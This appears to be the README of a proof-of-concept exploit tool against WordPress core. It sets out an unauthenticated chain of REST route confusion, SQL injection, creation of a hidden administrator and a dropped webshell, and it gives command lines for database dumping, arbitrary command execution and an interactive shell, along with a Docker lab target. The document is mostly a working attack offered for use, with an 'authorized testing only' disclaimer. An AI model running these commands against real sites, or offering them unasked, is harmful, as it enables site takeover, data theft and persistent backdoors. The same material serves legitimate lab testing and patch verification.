
Pre-Auth-RCE-PoC für CVE-2026-63030 / CVE-2026-60137 (WordPress-Core)
Pre-auth RCE PoC für CVE-2026-63030 + CVE-2026-60137 (WordPress Core).
REST-Route-Confusion über /batch/v1 → WP_Query author__not_in-SQLi → Erstellung eines Admins ohne Authentifizierung → Webshell. Einzelne Datei, nur Python-Standardbibliothek.
Schwachstelle: Adam Kues (Searchlight Cyber). Betroffen: 6.9.0–6.9.4, 7.0.0–7.0.1. Behoben: 6.9.5 / 7.0.2.
python3 WordPresShell.py check http://target # confirm (non-destructive)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # crack-free RCE
python3 WordPresShell.py shell http://target -i # interactive
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # WordPress 7.0.1 on :8092
docker compose down -v # teardown
shell erstellt einen Administrator und legt eine Webshell ab – beides nach dem Test entfernen. Nur für autorisierte Tests.